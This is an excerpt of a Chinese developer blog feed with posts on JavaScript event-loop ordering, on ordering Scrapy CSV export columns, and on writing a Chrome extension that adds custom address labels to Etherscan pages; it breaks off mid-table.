<p> resolve执行完毕后,马上应该执行.then中的内容,但其内容是个回调函数,所以被放入任务队列中。</p>
<p> 同步执行的最后执行console.log(‘script end’),输出script end之后,开始执行异步的任务队列中内容。</p>
<blockquote>
<p>setTimeout会在最后执行,就好比css权重的优先级,setTimeout的优先级没有async和promise级别高(其实async和promise是一样的,因为调用async方法时就是返回一个promise对象)</p>
</blockquote>
<p> 队列是先进先出的顺序,所以接下来的输出是:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">async1 end</span><br><span class="line">promise2</span><br><span class="line">setTimeout</span><br></pre></td></tr></table></figure>
<hr>
<p>参考文章:</p>
<p><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Closures" target="_blank" rel="noopener">https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Closures</a></p>
<p><a href="https://blog.csdn.net/weixin_43606158/article/details/91360230" target="_blank" rel="noopener">https://blog.csdn.net/weixin_43606158/article/details/91360230</a></p>
<p><a href="https://blog.csdn.net/u010297791/article/details/71158212" target="_blank" rel="noopener">https://blog.csdn.net/u010297791/article/details/71158212</a></p>
]]></content>
<categories>
<category>JavaScript</category>
</categories>
<tags>
<tag>js</tag>
</tags>
</entry>
<entry>
<title>python scrapy -o 方式按指定顺序导出csv</title>
<url>/2020/07/21/scrapy-data-save/</url>
<content><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>最近在学习python爬虫的scrapy框架,本文记录下遇到的问题和解决方案。</p>
<hr>
<p>如果你不知道什么是scrapy,请移步:</p>
<p><a href="https://www.osgeo.cn/scrapy/intro/tutorial.html" target="_blank" rel="noopener">Scrapy 教程</a></p>
<p><a href="https://scrapy-chs.readthedocs.io/zh_CN/0.24/index.html" target="_blank" rel="noopener">Scrapy 0.24 文档</a></p>
<h2 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h2><p>由于需要爬取大量的地址交易信息数据,如何保存这些数据是个很大的问题。</p>
<p>最开始我是这样的:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">with</span> open(<span class="string">'xxx.txt'</span>,<span class="string">'a'</span>,encoding=<span class="string">'utf-8'</span>) <span class="keyword">as</span> fw:</span><br><span class="line"> fw.write(<span class="string">'{}\t{}'</span>.format(xxx,xxxx))</span><br></pre></td></tr></table></figure>
<p>把全部数据都写入一个txt文件中,然后再复制到表格中去,现在想起来,好蠢!</p>
<p><img src="/2020/07/21/scrapy-data-save/image-20200721152719497.png" alt="image-20200721152719497"></p>
<hr>
<p>后来我又学会了使用xlwt库,于是又变成了这样:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> xlwt</span><br><span class="line"></span><br><span class="line">workbook = xlwt.Workbook(encoding=<span class="string">'utf-8'</span>)</span><br><span class="line">worksheet = workbook.add_sheet(<span class="string">'My Worksheet'</span>)</span><br><span class="line">font = xlwt.Font()</span><br><span class="line">font.name = <span class="string">'宋体'</span></span><br><span class="line">font.height = <span class="number">20</span> * <span class="number">11</span></span><br><span class="line">style = xlwt.XFStyle()</span><br><span class="line">style.font = font</span><br><span class="line">isFinish = <span class="literal">True</span></span><br><span class="line">title = [<span class="string">'xx'</span>, <span class="string">'xxxx'</span>, <span class="string">'xxxxx'</span>, <span class="string">'xxxxx'</span>, <span class="string">'xxxxxx'</span>]</span><br><span class="line"><span class="keyword">for</span> x <span class="keyword">in</span> range(<span class="number">0</span>, len(title)):</span><br><span class="line"> worksheet.write(<span class="number">0</span>, x, title[x], style)</span><br><span class="line">workbook.save(<span class="string">'{}xxxx.xls'</span>)</span><br></pre></td></tr></table></figure>
<p>于是乎,是这样的:</p>
<p><img src="/2020/07/21/scrapy-data-save/image-20200721153318149.png" alt="image-20200721153318149"></p>
<hr>
<p>用了一段时间xlwt后,遇到了一次超过65536行数据的情况,由于xlwt只能操作xls表格文件,xlwt就显得不够用了,一通搜索后,我换了openpyxl:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> openpyxl <span class="keyword">import</span> Workbook</span><br><span class="line"></span><br><span class="line">workbook = Workbook()</span><br><span class="line">ws = workbook.active</span><br><span class="line">worksheet = workbook.create_sheet(<span class="string">'xxx'</span>)</span><br><span class="line">title = [<span class="string">'id'</span>, <span class="string">'tx_hash'</span>, <span class="string">'created_ts'</span>, <span class="string">'sender_hash'</span>, <span class="string">'receiver_hash'</span>, <span class="string">'amount'</span>, <span class="string">'status'</span>, <span class="string">'tx_type'</span>]</span><br><span class="line">ws.append(title)</span><br><span class="line">workbook.save(<span class="string">'{}xxxx.xlsx'</span>)</span><br></pre></td></tr></table></figure>
<p>这下好了,xlsx最大能够存储1048576行数据,能够完全满足使用了,再大的数据量就得使用数据库了。</p>
<hr>
<p>本来到这里也应该结束,本文也不该出现的。有天突(xian)发(de)奇(dan)想(teng),想着减少一下爬虫得代码量,正好scrapy本身也提供了item来接受数据,于是我改了下我的代码,把openpyxl代码全部删掉。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#items.py</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">GetallEthtxsItem</span><span class="params">(scrapy.Item)</span>:</span></span><br><span class="line"> <span class="comment"># define the fields for your item here like:</span></span><br><span class="line"> id = scrapy.Field()</span><br><span class="line"> created_ts = scrapy.Field()</span><br><span class="line"> tx_hash = scrapy.Field()</span><br><span class="line"> amount = scrapy.Field()</span><br><span class="line"> sender_hash = scrapy.Field()</span><br><span class="line"> receiver_hash = scrapy.Field()</span><br><span class="line"> status = scrapy.Field()</span><br><span class="line"> tx_type = scrapy.Field()</span><br><span class="line"> </span><br><span class="line"><span class="comment">#myspider.py</span></span><br><span class="line">item = GetallEthtxsItem()</span><br><span class="line">timeArray = time.localtime(result[x][<span class="string">'created_ts'</span>])</span><br><span class="line">item[<span class="string">'id'</span>] = result[x][<span class="string">'id'</span>]</span><br><span class="line">item[<span class="string">'created_ts'</span>] = time.strftime(<span class="string">"%Y-%m-%d %H:%M:%S"</span>, timeArray)</span><br><span class="line">item[<span class="string">'tx_hash'</span>] = result[x][<span class="string">'tx_hash'</span>]</span><br><span class="line">item[<span class="string">'amount'</span>] = result[x][<span class="string">'amount'</span>]</span><br><span class="line">item[<span class="string">'sender_hash'</span>] = result[x][<span class="string">'sender_hash'</span>]</span><br><span class="line">item[<span class="string">'receiver_hash'</span>] = result[x][<span class="string">'receiver_hash'</span>]</span><br><span class="line">item[<span class="string">'status'</span>] = result[x][<span class="string">'status'</span>]</span><br><span class="line">item[<span class="string">'tx_type'</span>] = result[x][<span class="string">'tx_type'</span>]</span><br><span class="line"><span class="keyword">yield</span> item</span><br><span class="line"></span><br><span class="line"><span class="comment">#启动爬虫,并导出xxxx.csv格式数据</span></span><br><span class="line">scrapy crawl spiderName -o xxxx.csv</span><br></pre></td></tr></table></figure>
<p>换了这种方式后,代码看着一下就舒服多了(至于效率有没有提高,就不知道了,hahahaha~~)。</p>
<p>于是本篇文章正文来了:</p>
<p><img src="/2020/07/21/scrapy-data-save/image-20200721154814042.png" alt="image-20200721154814042"></p>
<p>如上图所示,导出的csv文件内部title并不是我所期望的结果!</p>
<p>于是在Google上搜了搜:</p>
<p><img src="/2020/07/21/scrapy-data-save/image-20200721155041990.png" alt="image-20200721155041990"></p>
<p>这些文章里面大多都是使用的如下方式:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#在scrapy的spiders同层目录,新建my_project_csv_item_exporter.py文件内容如下(文件名可改,目录定死)</span></span><br><span class="line"><span class="keyword">from</span> scrapy.conf <span class="keyword">import</span> settings</span><br><span class="line"><span class="keyword">from</span> scrapy.contrib.exporter <span class="keyword">import</span> CsvItemExporter</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MyProjectCsvItemExporter</span><span class="params">(CsvItemExporter)</span>:</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, *args, **kwargs)</span>:</span></span><br><span class="line"> delimiter = settings.get(<span class="string">'CSV_DELIMITER'</span>, <span class="string">','</span>)</span><br><span class="line"> kwargs[<span class="string">'delimiter'</span>] = delimiter</span><br><span class="line"></span><br><span class="line"> fields_to_export = settings.get(<span class="string">'FIELDS_TO_EXPORT'</span>, [])</span><br><span class="line"> <span class="keyword">if</span> fields_to_export :</span><br><span class="line"> kwargs[<span class="string">'fields_to_export'</span>] = fields_to_export</span><br><span class="line"></span><br><span class="line"> super(MyProjectCsvItemExporter, self).__init__(*args, **kwargs)</span><br><span class="line"></span><br><span class="line"><span class="comment">#settings.py中</span></span><br><span class="line">FEED_EXPORTERS = { </span><br><span class="line"> <span class="string">'csv'</span>: <span class="string">'jsuser.spiders.csv_item_exporter.MyProjectCsvItemExporter'</span>, </span><br><span class="line">} <span class="comment">#jsuser为工程名 </span></span><br><span class="line">FIELDS_TO_EXPORT = [ </span><br><span class="line"> <span class="string">'author'</span>, </span><br><span class="line"> <span class="string">'title'</span>, </span><br><span class="line"> <span class="string">'url'</span>, </span><br><span class="line"> <span class="string">'reads'</span>, </span><br><span class="line"> <span class="string">'comments'</span>, </span><br><span class="line"> <span class="string">'likes'</span>, </span><br><span class="line"> <span class="string">'rewards'</span> </span><br><span class="line">]</span><br></pre></td></tr></table></figure>
<p>我照着他这个做了:</p>
<p>然鹅,引入都出现了问题,搜索之后发现 .conf以及.contrib已经在1.7.x版本中就废弃了,我用的是2.2.0版本,所以得使用其他得导入方式。</p>
<p><img src="/2020/07/21/scrapy-data-save/image-20200721155440701.png" alt="image-20200721155440701"></p>
<p>删除错误的导入后,利用pycharm的自带快速导入:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">from getAllTxs import settings</span><br><span class="line">from scrapy.exporters import CsvItemExporter</span><br></pre></td></tr></table></figure>
<p>然后又报错:</p>
<p><img src="/2020/07/21/scrapy-data-save/image-20200721160222218.png" alt="image-20200721160222218"></p>
<p>在<a href="https://www.cnblogs.com/banshaohuan/p/11848264.html" target="_blank" rel="noopener">新版 Scrapy 中 sys.conf.settings 的替代方法</a>看到了解决方法:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> scrapy.conf <span class="keyword">import</span> settings</span><br><span class="line"><span class="comment">#替换为</span></span><br><span class="line"><span class="keyword">from</span> scrapy.utils.project <span class="keyword">import</span> get_project_settings</span><br><span class="line">settings = get_project_settings()</span><br></pre></td></tr></table></figure>
<p>然后,令人吃惊的事情发生了:</p>
<p><img src="/2020/07/21/scrapy-data-save/image-20200721161128541.png" alt="image-20200721161128541"></p>
<p>成功的按照自己想要的顺序写入了cvs文件中(写这篇文章之前,试了好多次都没成功,结果写文章的时候就好了!)。</p>
<hr>
<p>因为最开始的时候,遇到了csv中顺序错误的问题,然后搜索了一堆解决方案也没有解决,我就放弃了上面的那种方式(谁知道它现在就好了!),找到了另一种更为简单的方式。</p>
<p>不得不说stack overflow真的是个好东西,以前好几次在其他地方找不到解决方法的问题,都是在上面得到了解决。</p>
<p>在<a href="https://stackoverflow.com/questions/20753358/how-can-i-use-the-fields-to-export-attribute-in-baseitemexporter-to-order-my-scr" target="_blank" rel="noopener">How can I use the fields_to_export attribute in BaseItemExporter to order my Scrapy CSV data?</a>这篇文章中使用了custom_settings的方式,在spider中进行定义,不需要额外的设置什么东西就能够让csv按照自己想要的顺序进行输出。</p>
<p><img src="/2020/07/21/scrapy-data-save/image-20200721161905518.png" alt="image-20200721161905518"></p>
<h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>至此,本文所描述的内容已经结束。通过本次问题的解决过程,发现了自己在进行实际操作的时候还是可能会遗漏些问题,以后还得更加细心啊。</p>
<p>完结<em>★,°</em>:.☆( ̄▽ ̄)/$:<em>.°★</em> 。。</p>
]]></content>
<categories>
<category>python</category>
</categories>
<tags>
<tag>scrapy</tag>
<tag>python</tag>
<tag>爬虫</tag>
</tags>
</entry>
<entry>
<title>etherscan自定义标签插件编写</title>
<url>/2020/07/20/etherscan-tags/</url>
<content><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p><em>Etherscan 是</em>以太坊上应用最广泛的区块链浏览器,日常工作中经常需要使用到它。在实际使用中,经常需要在不同的地址交易信息之间来回切换,有时候会忘记了哪个地址是什么的地址。于是乎某个周五的日常工(mo)作(yu)中和同事聊到了这个,在网上搜索也没有看见有类似的插件(有也当没看见,哈哈哈哈<del>~</del>),于是突发奇想——要是做个插件,让浏览器在加载页面的时候就将自己自定义的标签渲染出来,岂不美哉!</p>
<hr>
<p>下面就是实现的效果:</p>
<p><img src="/2020/07/20/etherscan-tags/image-20200714095712858.png" alt="image-20200714095712858"></p>
<p>PS:由于本人CSS、Html等知识严重缺乏,没有对那些按钮啥的进行美化,全部都是用的默认样式,难看是难看了一点,能用就行<del>~</del></p>
<h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p>要完成一个自定义标签插件的实现,最开始面临的问题主要是两个方面:一是插件的编写;二是自定义标签数据存储在什么地方。</p>
<h2 id="过程"><a href="#过程" class="headerlink" title="过程"></a>过程</h2><p>首先是第一个问题,插件的编写。百度、谷歌一搜,一大堆的编写教程,这个倒不是什么大问题。</p>
<p>主要参考了一下文章:</p>
<p><a href="https://www.jianshu.com/p/146ab0ca3246" target="_blank" rel="noopener">从零开始编写一个chrome插件</a></p>
<p><a href="https://juejin.im/post/5c135a275188257284143418" target="_blank" rel="noopener">一篇文章教你顺利入门和开发chrome扩展程序(插件)</a></p>
<p><a href="https://blog.csdn.net/qq_41368391/article/details/105996336" target="_blank" rel="noopener">chrome浏览器网页通过插件形式,自动调用js脚本</a></p>
<p><a href="https://www.cnblogs.com/liuxianan/p/chrome-plugin-develop.html" target="_blank" rel="noopener">【干货】Chrome插件(扩展)开发全攻略</a></p>
<p><a href="https://developer.chrome.com/extensions" target="_blank" rel="noopener">chrome官方插件开发文档</a></p>
<p>最基础的一个插件是由两个部分组成的:一个是manifest文件,它用于描述 Chrome 插件的源数据,配置信息等;二是js文件,js不用多解释吧,你要实现的功能基本都在里面写。</p>
<p>manifest.json文件基础内容如下所示:</p>
<figure class="highlight javascript"><table><tr><td class="code"><pre><span class="line">{</span><br><span class="line"> <span class="string">"name"</span>: <span class="string">"Hello Extensions"</span>,</span><br><span class="line"> <span class="string">"description"</span> : <span class="string">"Hello world Extension"</span>,</span><br><span class="line"> <span class="string">"version"</span>: <span class="string">"1.0"</span>,</span><br><span class="line"> <span class="string">"manifest_version"</span>: <span class="number">2</span>,</span><br><span class="line"> <span class="string">"icons"</span>:{</span><br><span class="line"> <span class="string">"16"</span>: <span class="string">"img/icon.png"</span>,</span><br><span class="line"> <span class="string">"48"</span>: <span class="string">"img/icon.png"</span>,</span><br><span class="line"> <span class="string">"128"</span>: <span class="string">"img/icon.png"</span></span><br><span class="line"> },</span><br><span class="line"> <span class="string">"content_scripts"</span>: [</span><br><span class="line"> {</span><br><span class="line"> <span class="string">"matches"</span>: [</span><br><span class="line"> <span class="string">"http://*/*"</span>,</span><br><span class="line"> <span class="string">"https://*/*"</span></span><br><span class="line"> ],</span><br><span class="line"> <span class="string">"js"</span>: [</span><br><span class="line"> <span class="string">"scripts/contentscript.js"</span></span><br><span class="line"> ],</span><br><span class="line"> <span class="string">"all_frames"</span>: <span class="literal">false</span></span><br><span class="line"> }</span><br><span class="line"> ]</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>name:必填项,插件的名字。</p>
<p>description:插件的描述,132个字符的限制。</p>
<p>version:插件的版本号,打包完成后用于判断插件是否需要更新。</p>
<p>manifest_version :必填项,指定插件使用的清单文件规范的版本,chrome官方文档使用的是2。</p>
<p>Content Scripts:运行在Web页面的上下文的JavaScript文件。通过标准的DOM,Content Scripts 可以操作(读取并修改)浏览器当前访问的Web页面的内容。</p>
<p>icons:插件的图标,可以用在 Chrome 商店展示(128 * 128) | 插件管理界面 (48 * 48) | 扩展页图标 (16 * 16) 最好是 png 格式。</p>
<p>mathches:选择插件默认在什么网站上生效。</p>
<p>js:引入自己写js文件。</p>
<p>all_frames:控制JS文件是否在匹配的Web页面中的所有框架中运行。默认false表示只在顶层框架中运行。</p>
<hr>
<p>然后是第二个问题,自定义标签的数据存储在什么地方。</p>
<p>最开始的想的是能不能直接读取本地文件然后进行数据的更新,然鹅chrome的安全策略给了我当头一棒。</p>
<p>在js中尝试读取本地文件时,控制台中报了如下错误:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Not allowed to load local resource: file// XXXX</span><br></pre></td></tr></table></figure>
<p>然后百度、谷歌一顿搜索:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">解决方法有这样的:</span><br><span class="line"> 修改快捷方式的属性中的目标为下面这样:</span><br><span class="line"> "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-web-security --allow-file-access-from-files</span><br><span class="line"> </span><br><span class="line">有这样的:</span><br><span class="line"> 安装LocalLinks插件</span><br><span class="line"></span><br><span class="line">上面两种方式我都有试过,但是!不知道是不是我自己的原因,问题并没有得到解决,chrome还是一样的报错!</span><br></pre></td></tr></table></figure>
<p>于是乎继续搜索:</p>
<p><a href="https://www.itdaan.com/blog/2016/11/21/13c3c7db987b2f8d6c98d18565778ddd.html" target="_blank" rel="noopener">解決chrome報Not allowed to load local resource錯誤的方法</a>文中提到了Tomcat下可以使用目录映射的方式,可惜的是我没有用Tomcat呀!</p>
<p><a href="https://www.codenong.com/cs105905824/" target="_blank" rel="noopener">解决Chrome浏览器Not allowed to load local resource</a>这篇文章提到了使用搭建本地服务器的形式来解决这个问题,我最初的实现方式也是这样。</p>
<p>实现本地服务器的方式有很多,我以前用的主要是使用phpstudy以及nodejs。</p>
<hr>
<p>phpstudy的使用方式,百度一堆,这里就不在赘述。</p>
<p>安装完成后将数据json文件放在网站根目录后,再次尝试在网站上访问,然后chrome报了这种类型的错:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">Mixed Content: The page at 'https://googlesamples.github.io/web-fundamentals/fundamentals/security/prevent-mixed-content/simple-example.html' was loaded over HTTPS, but requested an insecure script 'http://googlesamples.github.io/web-fundamentals/fundamentals/security/prevent-mixed-content/simple-example.js'. This request has been blocked; the content must be served over HTTPS.</span><br></pre></td></tr></table></figure>
<p>大概意思就是不能在https网站中使用http请求来访问资源。</p>
<p>又双叒叕是一通百度,最后发现在phpstudy中可以切换为https:</p>
<p><img src="/2020/07/20/etherscan-tags/image-20200714111524304.png" alt="image-20200714111524304"></p>
<p>只不过需要一个SSL证书,这个倒不是什么大问题,我的网站之前就有证书,直接拿下来用,改下host就可以了。</p>
<p><img src="/2020/07/20/etherscan-tags/image-20200714111702158.png" alt="image-20200714111702158"></p>
<p>改好之后便可以通过<a href="https://localhost来访问本地服务器中的文件了!" target="_blank" rel="noopener">https://localhost来访问本地服务器中的文件了!</a></p>
<p><img src="/2020/07/20/etherscan-tags/image-20200714135033177.png" alt="image-20200714135033177"></p>
<p>在js中使用Jquery获取数据:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">$.getJSON("https://xxxxx.cn:18081",function(result){</span><br><span class="line"> for(var key in result){</span><br><span class="line"> tag[key.toLowerCase()] = result[key]</span><br><span class="line"> }</span><br><span class="line">});</span><br></pre></td></tr></table></figure>
<hr>
<p>然后是nodejs搭建本地服务器的方式,使用了express框架。</p>
<p>参考文章:</p>
<p><a href="https://juejin.im/post/5a7a88125188257a624cb117" target="_blank" rel="noopener">使用Express搭建https服务器</a></p>
<p>全部代码如下所示:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">var app = require('express')();</span><br><span class="line">var fs = require('fs');</span><br><span class="line">var http = require('http');</span><br><span class="line">var https = require('https');</span><br><span class="line">var privateKey = fs.readFileSync("./https/https.key", 'utf8');</span><br><span class="line">var certificate = fs.readFileSync("./https/https.crt", 'utf8');</span><br><span class="line">var credentials = {key: privateKey, cert: certificate};</span><br><span class="line"></span><br><span class="line">var httpServer = http.createServer(app);</span><br><span class="line">var httpsServer = https.createServer(credentials, app);</span><br><span class="line">var PORT = 18080;</span><br><span class="line">var SSLPORT = 18081;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">//设置允许跨域</span><br><span class="line">app.all('*',function(req,res,next){</span><br><span class="line"> res.header("Access-Control-Allow-Origin","*");</span><br><span class="line"> res.header("Access-Control-Allow-Methods","PUT,GET,POST,DELETE,OPTIONS");</span><br><span class="line"> res.header('Access-Control-Allow-Headers', 'Content-Type, Content-Length, Authorization, Accept, X-Requested-With , yourHeaderFeild');</span><br><span class="line"> next();</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">httpServer.listen(PORT, function() {</span><br><span class="line"> console.log('HTTP Server is running on: http://localhost:%s', PORT);</span><br><span class="line">});</span><br><span class="line">httpsServer.listen(SSLPORT, function() {</span><br><span class="line"> console.log('HTTPS Server is running on: https://localhost:%s', SSLPORT);</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">// Welcome</span><br><span class="line">app.get('/', function(req, res) {</span><br><span class="line"> if(req.protocol === 'https') {</span><br><span class="line"> var file="./addr_tag.json";</span><br><span class="line"> var result=JSON.parse(fs.readFileSync(file));</span><br><span class="line"> console.log(result)</span><br><span class="line"> res.send(result)</span><br><span class="line"> }</span><br><span class="line"> else {</span><br><span class="line"> res.status(200).send('Welcome!');</span><br><span class="line"> }</span><br><span class="line">});</span><br></pre></td></tr></table></figure>
<p>在采用nodejs方式搭建时,由于有了phpstudy的失败经历,nodejs直接选择了https形式的搭建,过程中没有在遇到其他的问题,成功实现了数据的获取。</p>
<p><img src="/2020/07/20/etherscan-tags/image-20200714115438099.png" alt="image-20200714115438099"></p>
<hr>
<p>做完之后,不禁想到,搭建服务器的方式有点太复杂了,https证书也麻烦,于是又想了一下。想到了直接在插件的js文件中保存数据即可,直接将数据存入addr_tag.js文件中,在manifest文件中导入后,直接在contentscript.js文件中使用即可,以后每次修改数据直接在add_tag文件中修改即可,不需要经历繁琐的步骤去搭建服务器了。</p>
<p><img src="/2020/07/20/etherscan-tags/image-20200714113039494.png" alt="image-20200714113039494"></p>
<hr>
<p>后来第二天上班的时候,把我做好的这个两个版本给同事看了之后,他问我为啥不用localstorage来存储数据???Excuse me???为啥我把这个给忘了!</p>
<p>于是我又改了改代码,直接使用localstorage.getItem来获取里面的数据,然后在加载到页面上。</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">var tokenTag = document.getElementsByClassName('hash-tag text-truncate');</span><br><span class="line">for(var x =0;x<tokenTag.length;x++){</span><br><span class="line"> if(localStorage.getItem((ethTag[x].innerText.toLowerCase()))!=undefined){</span><br><span class="line"> tokenTag[x].innerText = 'Local:'+localStorage.getItem(ethTag[x].innerText.toLowerCase());</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p><img src="/2020/07/20/etherscan-tags/image-20200714120032496.png" alt="image-20200714120032496"></p>
<p>虽然能够避免繁琐的前置步骤了,但在使用中,同</p>
<hr>
<p>事又提出了新的”需求“——每次更新数据都要打开F12,太麻烦了。</p>
<p>参考文章:</p>
<p><a href="https://www.cnblogs.com/f-l-y/p/8991247.html" target="_blank" rel="noopener">js动态往div里添加按钮的两种方式</a></p>
<p><a href="https://blog.csdn.net/wei13636075/article/details/25219039" target="_blank" rel="noopener">JS打开选择本地文件的对话框</a></p>
<p><a href="https://www.jianshu.com/p/40cfe9a12f9e" target="_blank" rel="noopener">javascript实现生成并下载txt文件</a></p>
<p>于是有了下面的代码:</p>
<figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">var MyDiv =document.getElementById("logoAndNav");</span><br><span class="line"></span><br><span class="line">var addr_data =document.createElement('input');</span><br><span class="line"> addr_data.setAttribute('type', 'text');//输入框的类型</span><br><span class="line"> addr_data.setAttribute("placeholder", "地址");</span><br><span class="line"> addr_data.setAttribute('id','addr_data')</span><br><span class="line"> addr_data.style.width = "16%";</span><br><span class="line"> MyDiv.appendChild(addr_data);</span><br><span class="line"></span><br><span class="line"> var tag_data =document.createElement('input');</span><br><span class="line"> tag_data.setAttribute('type', 'text');//输入框的类型</span><br><span class="line"> tag_data.setAttribute("placeholder", "标签名");</span><br><span class="line"> tag_data.setAttribute('id','tag_data')</span><br><span class="line"> tag_data.style.width = "16%";</span><br><span class="line"> MyDiv.appendChild(tag_data);</span><br><span class="line"></span><br><span class="line"> var button = document.createElement("input");</span><br><span class="line">button.setAttribute("type", "button");</span><br><span class="line">button.setAttribute("value", "添加/修改标签");</span><br><span class="line">button.style.width = "17%";</span><br><span class="line">button.setAttribute("onclick", </span><br><span class="line"> "javascript:\</span><br><span class="line"> var addr_data = document.getElementById('addr_data'); \</span><br><span class="line"> var tag_data = document.getElementById('tag_data'); \</span><br><span class="line"> if(addr_data.value!=''&&tag_data.value!=''){\</span><br><span class="line"> localStorage.setItem(addr_data.value.toLowerCase(),tag_data.value);\</span><br><span class="line"> document.location.reload();\</span><br><span class="line"> }\</span><br><span class="line"> else{\</span><br><span class="line"> alert(\"请输入数据哦!\")\</span><br><span class="line"> }\</span><br><span class="line"> "</span><br><span class="line"> )</span><br><span class="line">MyDiv.appendChild(button);</span><br><span class="line"></span><br><span class="line">var button2 = document.createElement("input");</span><br><span class="line">button2.setAttribute("type", "button");</span><br><span class="line">button2.setAttribute("value", "删除标签");</span><br><span class="line">button2.style.width = "17%";</span><br><span class="line">button2.setAttribute("onclick", </span><br><span class="line"> "javascript:\</span><br><span class="line"> var addr_data = document.getElementById('addr_data'); \</span><br><span class="line"> if(addr_data.value!=''){\</span><br><span class="line"> localStorage.removeItem(addr_data.value.toLowerCase());\</span><br><span class="line"> document.location.reload();\</span><br><span class="line"> }\</span><br><span class="line"> else{\</span><br><span class="line"> alert(\"请输入要删除的地址哦!\")\</span><br><span class="line"> }\</span><br><span class="line"> "</span><br><span class="line"> )</span><br><span class="line">MyDiv.appendChild(button2);</span><br><span class="line"></span><br><span class="line">var button3 = document.createElement("input");</span><br><span class="line">button3.setAttribute("type", "button");</span><br><span class="line">button3.setAttribute("value", "导出标签");</span><br><span class="line">button3.style.width = "17%";</span><br><span class="line">button3.setAttribute("onclick", </span><br><span class="line"> "javascript:\</span><br><span class="line"> var output_data={};\</span><br><span class="line"> for(var i=0;i<localStorage.length;i++){\</span><br><span class="line"> output_data[localStorage.key(i)] = localStorage.getItem(localStorage.key(i));\</span><br><span class="line"> }\</span><br><span class="line"> function download(filename, text) {\</span><br><span class="line"> var pom = document.createElement('a');\</span><br><span class="line"> pom.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(text));\</span><br><span class="line"> pom.setAttribute('download', filename);\</span><br><span class="line"> if (document.createEvent) {\</span><br><span class="line"> var event = document.createEvent('MouseEvents');\</span><br><span class="line"> event.initEvent('click', true, true);\</span><br><span class="line"> pom.dispatchEvent(event)\</span><br><span class="line"> } else {\</span><br><span class="line"> pom.click();\</span><br><span class="line"> }\</span><br><span class="line"> }\</span><br><span class="line"> download('tag_data.txt',JSON.stringify(output_data));\</span><br><span class="line"> "</span><br><span class="line"> )</span><br><span class="line">MyDiv.appendChild(button3);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">var inputObj=document.createElement('input')</span><br><span class="line"> inputObj.setAttribute('id','upload_data');</span><br><span class="line"> inputObj.setAttribute('type','file');</span><br><span class="line"> inputObj.setAttribute("style",'visibility:hidden');</span><br><span class="line"> document.body.appendChild(inputObj);</span><br><span class="line"></span><br><span class="line">var button4 = document.createElement("input");</span><br><span class="line">button4.setAttribute("type", "button");</span><br><span class="line">button4.setAttribute("value", "批量导入标签");</span><br><span class="line">button4.style.width = "17%";</span><br><span class="line">button4.setAttribute("onclick", </span><br><span class="line"> "javascript:\</span><br><span class="line"> var input =document.getElementById('upload_data');\</span><br><span class="line"> input.click();\</span><br><span class="line"> input.addEventListener('change',()=>{\</span><br><span class="line"> var reader = new FileReader();\</span><br><span class="line"> reader.readAsText(input.files[0],'utf8');\</span><br><span class="line"> reader.onload = ()=>{\</span><br><span class="line"> var input_data = JSON.parse(reader.result);\</span><br><span class="line"> for(var key in input_data){\</span><br><span class="line"> localStorage.setItem(key,input_data[key]);\</span><br><span class="line"> }\</span><br><span class="line"> document.location.reload();\</span><br><span class="line"> }\</span><br><span class="line"> }, false); \</span><br><span class="line"> ")</span><br><span class="line">MyDiv.appendChild(button4);</span><br></pre></td></tr></table></figure>
<p>上面代码实现了在etherscan的页面上添加了两个输入框和四个按钮,分别是地址、标签的输入以及添加/修改标签按钮、删除标签按钮、导出标签按钮和批量导入标签按钮。</p>
<p>最终效果:</p>
<p><img src="/2020/07/20/etherscan-tags/%E6%9C%80%E7%BB%88%E6%95%88%E6%9E%9C.gif" alt="最终效果"></p>
<hr>
<p>2020.07.17更新</p>
<hr>
<p>上个版本的插件已经能够满足日常的基本使用了,但是由于localStorage的5M大小的限制,使得标签的数量被限制在了10W以下(利用假数据简单测试结果是7W多条),为了能够储存更多的数据,不得不放弃localstorage从而寻找新的思路。</p>
<p>查阅资料可以使用chrome.storage,通过在赋予unlimitedStorage权限,在本地存储区储存的数据量大小不受限制。但在实际使用过程中遇到了chrome.storage未定义的问题,有可能是我的使用方式存在问题,查询大量资料之后无果,遂放弃。</p>
<p><img src="/2020/07/20/etherscan-tags/image-20200717105731138.png" alt="image-20200717105731138"></p>
<p>在Storage中,一共有五个储存数据的地方,如上图所示,详细介绍如下表所示:</p>
<table>
<thead>
<tr>
<th align="center">sessionStorage</th>
